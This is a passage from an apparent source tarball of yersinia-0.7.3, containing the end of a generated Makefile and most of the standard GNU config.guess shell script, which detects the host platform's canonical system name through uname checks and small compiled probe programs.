\ mostlyclean-generic pdf pdf-am ps ps-am tags tags-recursive \ uninstall uninstall-am uninstall-man uninstall-man8 # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. .NOEXPORT: yersinia-0.7.3/config.guess0000755000175000017500000012605112234207266013477 0ustar nknk#! /bin/sh # Attempt to guess a canonical system name. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, # 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc. timestamp='2006-02-23' # This file is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA # 02110-1301, USA. # # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Originally written by Per Bothner . # Please send patches to . Submit a context # diff and a properly formatted ChangeLog entry. # # This script attempts to guess a canonical system name similar to # config.sub. If it succeeds, it prints the system name on stdout, and # exits with 0. Otherwise, it exits with 1. # # The plan is that this can be called by configure scripts if you # don't specify an explicit build system type. me=`echo "$0" | sed -e 's,.*/,,'` usage="\ Usage: $0 [OPTION] Output the configuration name of the system \`$me' is run on. Operation modes: -h, --help print this help, then exit -t, --time-stamp print date of last modification, then exit -v, --version print version number, then exit Report bugs and patches to ." version="\ GNU config.guess ($timestamp) Originally written by Per Bothner. Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." help=" Try \`$me --help' for more information." # Parse command line while test $# -gt 0 ; do case $1 in --time-stamp | --time* | -t ) echo "$timestamp" ; exit ;; --version | -v ) echo "$version" ; exit ;; --help | --h* | -h ) echo "$usage"; exit ;; -- ) # Stop option processing shift; break ;; - ) # Use stdin as input. break ;; -* ) echo "$me: invalid option $1$help" >&2 exit 1 ;; * ) break ;; esac done if test $# != 0; then echo "$me: too many arguments$help" >&2 exit 1 fi trap 'exit 1' 1 2 15 # CC_FOR_BUILD -- compiler used by this script. Note that the use of a # compiler to aid in system detection is discouraged as it requires # temporary files to be created and, as you can see below, it is a # headache to deal with in a portable fashion. # Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still # use `HOST_CC' if defined, but it is deprecated. # Portable tmp directory creation inspired by the Autoconf team. set_cc_for_build=' trap "exitcode=\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null) && exit \$exitcode" 0 ; trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1 2 13 15 ; : ${TMPDIR=/tmp} ; { tmp=`(umask 077 && mktemp -d "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } || { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir $tmp) ; } || { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: creating insecure temp directory" >&2 ; } || { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } ; dummy=$tmp/dummy ; tmpfiles="$dummy.c $dummy.o $dummy.rel $dummy" ; case $CC_FOR_BUILD,$HOST_CC,$CC in ,,) echo "int x;" > $dummy.c ; for c in cc gcc c89 c99 ; do if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then CC_FOR_BUILD="$c"; break ; fi ; done ; if test x"$CC_FOR_BUILD" = x ; then CC_FOR_BUILD=no_compiler_found ; fi ;; ,,*) CC_FOR_BUILD=$CC ;; ,*,*) CC_FOR_BUILD=$HOST_CC ;; esac ; set_cc_for_build= ;' # This is needed to find uname on a Pyramid OSx when run in the BSD universe. # (ghazi@noc.rutgers.edu 1994-08-24) if (test -f /.attbin/uname) >/dev/null 2>&1 ; then PATH=$PATH:/.attbin ; export PATH fi UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown # Note: order is significant - the case branches are not exclusive. case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in *:NetBSD:*:*) # NetBSD (nbsd) targets should (where applicable) match one or # more of the tupples: *-*-netbsdelf*, *-*-netbsdaout*, # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently # switched to ELF, *-*-netbsd* would select the old # object file format. This provides both forward # compatibility and a consistent mechanism for selecting the # object file format. # # Note: NetBSD doesn't particularly care about the vendor # portion of the name. We always set it to "unknown". sysctl="sysctl -n hw.machine_arch" UNAME_MACHINE_ARCH=`(/sbin/$sysctl 2>/dev/null || \ /usr/sbin/$sysctl 2>/dev/null || echo unknown)` case "${UNAME_MACHINE_ARCH}" in armeb) machine=armeb-unknown ;; arm*) machine=arm-unknown ;; sh3el) machine=shl-unknown ;; sh3eb) machine=sh-unknown ;; *) machine=${UNAME_MACHINE_ARCH}-unknown ;; esac # The Operating System including object format, if it has switched # to ELF recently, or will in the future. case "${UNAME_MACHINE_ARCH}" in arm*|i386|m68k|ns32k|sh3*|sparc|vax) eval $set_cc_for_build if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ | grep __ELF__ >/dev/null then # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). # Return netbsd for either. FIX? os=netbsd else os=netbsdelf fi ;; *) os=netbsd ;; esac # The OS release # Debian GNU/NetBSD machines have a different userland, and # thus, need a distinct triplet. However, they do not need # kernel version information, so it can be replaced with a # suitable tag, in the style of linux-gnu. case "${UNAME_VERSION}" in Debian*) release='-gnu' ;; *) release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` ;; esac # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: # contains redundant information, the shorter form: # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. echo "${machine}-${os}${release}" exit ;; *:OpenBSD:*:*) UNAME_MACHINE_ARCH=`arch | sed 's/OpenBSD.//'` echo ${UNAME_MACHINE_ARCH}-unknown-openbsd${UNAME_RELEASE} exit ;; *:ekkoBSD:*:*) echo ${UNAME_MACHINE}-unknown-ekkobsd${UNAME_RELEASE} exit ;; *:SolidBSD:*:*) echo ${UNAME_MACHINE}-unknown-solidbsd${UNAME_RELEASE} exit ;; macppc:MirBSD:*:*) echo powerppc-unknown-mirbsd${UNAME_RELEASE} exit ;; *:MirBSD:*:*) echo ${UNAME_MACHINE}-unknown-mirbsd${UNAME_RELEASE} exit ;; alpha:OSF1:*:*) case $UNAME_RELEASE in *4.0) UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'` ;; *5.*) UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'` ;; esac # According to Compaq, /usr/sbin/psrinfo has been available on # OSF/1 and Tru64 systems produced since 1995. I hope that # covers most systems running today. This code pipes the CPU # types through head -n 1, so we only detect the type of CPU 0. ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1` case "$ALPHA_CPU_TYPE" in "EV4 (21064)") UNAME_MACHINE="alpha" ;; "EV4.5 (21064)") UNAME_MACHINE="alpha" ;; "LCA4 (21066/21068)") UNAME_MACHINE="alpha" ;; "EV5 (21164)") UNAME_MACHINE="alphaev5" ;; "EV5.6 (21164A)") UNAME_MACHINE="alphaev56" ;; "EV5.6 (21164PC)") UNAME_MACHINE="alphapca56" ;; "EV5.7 (21164PC)") UNAME_MACHINE="alphapca57" ;; "EV6 (21264)") UNAME_MACHINE="alphaev6" ;; "EV6.7 (21264A)") UNAME_MACHINE="alphaev67" ;; "EV6.8CB (21264C)") UNAME_MACHINE="alphaev68" ;; "EV6.8AL (21264B)") UNAME_MACHINE="alphaev68" ;; "EV6.8CX (21264D)") UNAME_MACHINE="alphaev68" ;; "EV6.9A (21264/EV69A)") UNAME_MACHINE="alphaev69" ;; "EV7 (21364)") UNAME_MACHINE="alphaev7" ;; "EV7.9 (21364A)") UNAME_MACHINE="alphaev79" ;; esac # A Pn.n version is a patched version. # A Vn.n version is a released version. # A Tn.n version is a released field test version. # A Xn.n version is an unreleased experimental baselevel. # 1.2 uses "1.2" for uname -r. echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[PVTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` exit ;; Alpha\ *:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # Should we change UNAME_MACHINE based on the output of uname instead # of the specific Alpha model? echo alpha-pc-interix exit ;; 21064:Windows_NT:50:3) echo alpha-dec-winnt3.5 exit ;; Amiga*:UNIX_System_V:4.0:*) echo m68k-unknown-sysv4 exit ;; *:[Aa]miga[Oo][Ss]:*:*) echo ${UNAME_MACHINE}-unknown-amigaos exit ;; *:[Mm]orph[Oo][Ss]:*:*) echo ${UNAME_MACHINE}-unknown-morphos exit ;; *:OS/390:*:*) echo i370-ibm-openedition exit ;; *:z/VM:*:*) echo s390-ibm-zvmoe exit ;; *:OS400:*:*) echo powerpc-ibm-os400 exit ;; arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) echo arm-acorn-riscix${UNAME_RELEASE} exit ;; arm:riscos:*:*|arm:RISCOS:*:*) echo arm-unknown-riscos exit ;; SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) echo hppa1.1-hitachi-hiuxmpp exit ;; Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. if test "`(/bin/universe) 2>/dev/null`" = att ; then echo pyramid-pyramid-sysv3 else echo pyramid-pyramid-bsd fi exit ;; NILE*:*:*:dcosx) echo pyramid-pyramid-svr4 exit ;; DRS?6000:unix:4.0:6*) echo sparc-icl-nx6 exit ;; DRS?6000:UNIX_SV:4.2*:7* | DRS?6000:isis:4.2*:7*) case `/usr/bin/uname -p` in sparc) echo sparc-icl-nx7; exit ;; esac ;; sun4H:SunOS:5.*:*) echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; i86pc:SunOS:5.*:*) echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4*:SunOS:6*:*) # According to config.sub, this is the proper way to canonicalize # SunOS6. Hard to guess exactly what SunOS6 will be like, but # it's likely to be more like Solaris than SunOS4. echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4*:SunOS:*:*) case "`/usr/bin/arch -k`" in Series*|S4*) UNAME_RELEASE=`uname -v` ;; esac # Japanese Language versions have a version number like `4.1.3-JL'. echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` exit ;; sun3*:SunOS:*:*) echo m68k-sun-sunos${UNAME_RELEASE} exit ;; sun*:*:4.2BSD:*) UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3 case "`/bin/arch`" in sun3) echo m68k-sun-sunos${UNAME_RELEASE} ;; sun4) echo sparc-sun-sunos${UNAME_RELEASE} ;; esac exit ;; aushp:SunOS:*:*) echo sparc-auspex-sunos${UNAME_RELEASE} exit ;; # The situation for MiNT is a little confusing. The machine name # can be virtually everything (everything which is not # "atarist" or "atariste" at least should have a processor # > m68000). The system name ranges from "MiNT" over "FreeMiNT" # to the lowercase version "mint" (or "freemint"). Finally # the system name "TOS" denotes a system which is actually not # MiNT. But MiNT is downward compatible to TOS, so this should # be no problem. atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit ;; atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit ;; *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit ;; milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) echo m68k-milan-mint${UNAME_RELEASE} exit ;; hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) echo m68k-hades-mint${UNAME_RELEASE} exit ;; *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) echo m68k-unknown-mint${UNAME_RELEASE} exit ;; m68k:machten:*:*) echo m68k-apple-machten${UNAME_RELEASE} exit ;; powerpc:machten:*:*) echo powerpc-apple-machten${UNAME_RELEASE} exit ;; RISC*:Mach:*:*) echo mips-dec-mach_bsd4.3 exit ;; RISC*:ULTRIX:*:*) echo mips-dec-ultrix${UNAME_RELEASE} exit ;; VAX*:ULTRIX*:*:*) echo vax-dec-ultrix${UNAME_RELEASE} exit ;; 2020:CLIX:*:* | 2430:CLIX:*:*) echo clipper-intergraph-clix${UNAME_RELEASE} exit ;; mips:*:*:UMIPS | mips:*:*:RISCos) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #ifdef __cplusplus #include /* for printf() prototype */ int main (int argc, char *argv[]) { #else int main (argc, argv) int argc; char *argv[]; { #endif #if defined (host_mips) && defined (MIPSEB) #if defined (SYSTYPE_SYSV) printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_SVR4) printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); #endif #endif exit (-1); } EOF $CC_FOR_BUILD -o $dummy $dummy.c && dummyarg=`echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` && SYSTEM_NAME=`$dummy $dummyarg` && { echo "$SYSTEM_NAME"; exit; } echo mips-mips-riscos${UNAME_RELEASE} exit ;; Motorola:PowerMAX_OS:*:*) echo powerpc-motorola-powermax exit ;; Motorola:*:4.3:PL8-*) echo powerpc-harris-powermax exit ;; Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) echo powerpc-harris-powermax exit ;; Night_Hawk:Power_UNIX:*:*) echo powerpc-harris-powerunix exit ;; m88k:CX/UX:7*:*) echo m88k-harris-cxux7 exit ;; m88k:*:4*:R4*) echo m88k-motorola-sysv4 exit ;; m88k:*:3*:R3*) echo m88k-motorola-sysv3 exit ;; AViiON:dgux:*:*) # DG/UX returns AViiON for all architectures UNAME_PROCESSOR=`/usr/bin/uname -p` if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] then if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ [ ${TARGET_BINARY_INTERFACE}x = x ] then echo m88k-dg-dgux${UNAME_RELEASE} else echo m88k-dg-dguxbcs${UNAME_RELEASE} fi else echo i586-dg-dgux${UNAME_RELEASE} fi exit ;; M88*:DolphinOS:*:*) # DolphinOS (SVR3) echo m88k-dolphin-sysv3 exit ;; M88*:*:R3*:*) # Delta 88k system running SVR3 echo m88k-motorola-sysv3 exit ;; XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) echo m88k-tektronix-sysv3 exit ;; Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) echo m68k-tektronix-bsd exit ;; *:IRIX*:*:*) echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` exit ;; ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id exit ;; # Note that: echo "'`uname -s`'" gives 'AIX ' i*86:AIX:*:*) echo i386-ibm-aix exit ;; ia64:AIX:*:*) if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${UNAME_MACHINE}-ibm-aix${IBM_REV} exit ;; *:AIX:2:3) if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include main() { if (!__power_pc()) exit(1); puts("powerpc-ibm-aix3.2.5"); exit(0); } EOF if $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy` then echo "$SYSTEM_NAME" else echo rs6000-ibm-aix3.2.5 fi elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then echo rs6000-ibm-aix3.2.4 else echo rs6000-ibm-aix3.2 fi exit ;; *:AIX:*:[45]) IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'` if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then IBM_ARCH=rs6000 else IBM_ARCH=powerpc fi if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${IBM_ARCH}-ibm-aix${IBM_REV} exit ;; *:AIX:*:*) echo rs6000-ibm-aix exit ;; ibmrt:4.4BSD:*|romp-ibm:BSD:*) echo romp-ibm-bsd4.4 exit ;; ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to exit ;; # report: romp-ibm BSD 4.3 *:BOSX:*:*) echo rs6000-bull-bosx exit ;; DPX/2?00:B.O.S.:*:*) echo m68k-bull-sysv3 exit ;; 9000/[34]??:4.3bsd:1.*:*) echo m68k-hp-bsd exit ;; hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) echo m68k-hp-bsd4.4 exit ;; 9000/[34678]??:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` case "${UNAME_MACHINE}" in 9000/31? ) HP_ARCH=m68000 ;; 9000/[34]?? ) HP_ARCH=m68k ;; 9000/[678][0-9][0-9]) if [ -x /usr/bin/getconf ]; then sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null` sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null` case "${sc_cpu_version}" in 523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0 528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1 532) # CPU_PA_RISC2_0 case "${sc_kernel_bits}" in 32) HP_ARCH="hppa2.0n" ;; 64) HP_ARCH="hppa2.0w" ;; '') HP_ARCH="hppa2.0" ;; # HP-UX 10.20 esac ;; esac fi if [ "${HP_ARCH}" = "" ]; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #define _HPUX_SOURCE #include #include int main () { #if defined(_SC_KERNEL_BITS) long bits = sysconf(_SC_KERNEL_BITS); #endif long cpu = sysconf (_SC_CPU_VERSION); switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0"); break; case CPU_PA_RISC1_1: puts ("hppa1.1"); break; case CPU_PA_RISC2_0: #if defined(_SC_KERNEL_BITS) switch (bits) { case 64: puts ("hppa2.0w"); break; case 32: puts ("hppa2.0n"); break; default: puts ("hppa2.0"); break; } break; #else /* !defined(_SC_KERNEL_BITS) */ puts ("hppa2.0"); break; #endif default: puts ("hppa1.0"); break; } exit (0); } EOF (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy` test -z "$HP_ARCH" && HP_ARCH=hppa fi ;; esac if [ ${HP_ARCH} = "hppa2.0w" ] then eval $set_cc_for_build # hppa2.0w-hp-hpux* has a 64-bit kernel and a compiler generating # 32-bit code. hppa64-hp-hpux* has the same kernel and a compiler # generating 64-bit code. GNU and HP use different nomenclature: # # $ CC_FOR_BUILD=cc ./config.guess # => hppa2.0w-hp-hpux11.23 # $ CC_FOR_BUILD="cc +DA2.0w" ./config.guess # => hppa64-hp-hpux11.23 if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | grep __LP64__ >/dev/null then HP_ARCH="hppa2.0w" else HP_ARCH="hppa64" fi fi echo ${HP_ARCH}-hp-hpux${HPUX_REV} exit ;; ia64:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` echo ia64-hp-hpux${HPUX_REV} exit ;; 3050*:HI-UX:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include int main () { long cpu = sysconf (_SC_CPU_VERSION); /* The order matters, because CPU_IS_HP_MC68K erroneously returns true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct results, however. */ if (CPU_IS_PA_RISC (cpu)) { switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; default: puts ("hppa-hitachi-hiuxwe2"); break; } } else if (CPU_IS_HP_MC68K (cpu)) puts ("m68k-hitachi-hiuxwe2"); else puts ("unknown-hitachi-hiuxwe2"); exit (0); } EOF $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy` && { echo "$SYSTEM_NAME"; exit; } echo unknown-hitachi-hiuxwe2 exit ;; 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) echo hppa1.1-hp-bsd exit ;; 9000/8??:4.3bsd:*:*) echo hppa1.0-hp-bsd exit ;; *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) echo hppa1.0-hp-mpeix exit ;; hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) echo hppa1.1-hp-osf exit ;; hp8??:OSF1:*:*) echo hppa1.0-hp-osf exit ;; i*86:OSF1:*:*) if [ -x /usr/sbin/sysversion ] ; then echo ${UNAME_MACHINE}-unknown-osf1mk else echo ${UNAME_MACHINE}-unknown-osf1 fi exit ;; parisc*:Lites*:*:*) echo hppa1.1-hp-lites exit ;; C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) echo c1-convex-bsd exit ;; C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit ;; C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) echo c34-convex-bsd exit ;; C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) echo c38-convex-bsd exit ;; C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) echo c4-convex-bsd exit ;; CRAY*Y-MP:*:*:*) echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; CRAY*[A-Z]90:*:*:*) echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ -e 's/\.[^.]*$/.X/' exit ;; CRAY*TS:*:*:*) echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; CRAY*T3E:*:*:*) echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; CRAY*SV1:*:*:*) echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; *:UNICOS/mp:*:*) echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit ;; 5000:UNIX_System_V:4.*:*) FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'` echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit ;; i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} exit ;; sparc*:BSD/OS:*:*) echo sparc-unknown-bsdi${UNAME_RELEASE} exit ;; *:BSD/OS:*:*) echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} exit ;; *:FreeBSD:*:*) case ${UNAME_MACHINE} in pc98) echo i386-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;; *) echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;; esac exit ;; i*:CYGWIN*:*) echo ${UNAME_MACHINE}-pc-cygwin exit ;; i*:MINGW*:*) echo ${UNAME_MACHINE}-pc-mingw32 exit ;; i*:MSYS_NT-*:*:*) echo ${UNAME_MACHINE}-pc-mingw32 exit ;; i*:windows32*:*) # uname -m includes "-pc" on this system. echo ${UNAME_MACHINE}-mingw32 exit ;; i*:PW*:*) echo ${UNAME_MACHINE}-pc-pw32 exit ;; x86:Interix*:[345]*) echo i586-pc-interix${UNAME_RELEASE} exit ;; EM64T:Interix*:[345]*) echo x86_64-unknown-interix${UNAME_RELEASE} exit ;; [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*) echo i${UNAME_MACHINE}-pc-mks exit ;; i*:Windows_NT*:* | Pentium*:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we # UNAME_MACHINE based on the output of uname instead of i386? echo i586-pc-interix exit ;; i*:UWIN*:*) echo ${UNAME_MACHINE}-pc-uwin exit ;; amd64:CYGWIN*:*:* | x86_64:CYGWIN*:*:*) echo x86_64-unknown-cygwin exit ;; p*:CYGWIN*:*) echo powerpcle-unknown-cygwin exit ;; prep*:SunOS:5.*:*) echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; *:GNU:*:*) # the GNU system echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` exit ;; *:GNU/*:*:*) # other systems with GNU libc and userland echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*/,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-gnu exit ;; i*86:Minix:*:*) echo ${UNAME_MACHINE}-pc-minix exit ;; arm*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; cris:Linux:*:*) echo cris-axis-linux-gnu exit ;; crisv32:Linux:*:*) echo crisv32-axis-linux-gnu exit ;; frv:Linux:*:*) echo frv-unknown-linux-gnu exit ;; ia64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; m32r*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; m68*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; mips:Linux:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #undef CPU #undef mips #undef mipsel #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) CPU=mipsel #else #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) CPU=mips #else CPU= #endif #endif EOF eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n ' /^CPU/{ s: ::g p }'`" test x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; } ;; mips64:Linux:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #undef CPU #undef mips64 #undef mips64el #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) CPU=mips64el #else #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) CPU=mips64 #else CPU= #endif #endif EOF eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n ' /^CPU/{ s: ::g p }'`" test 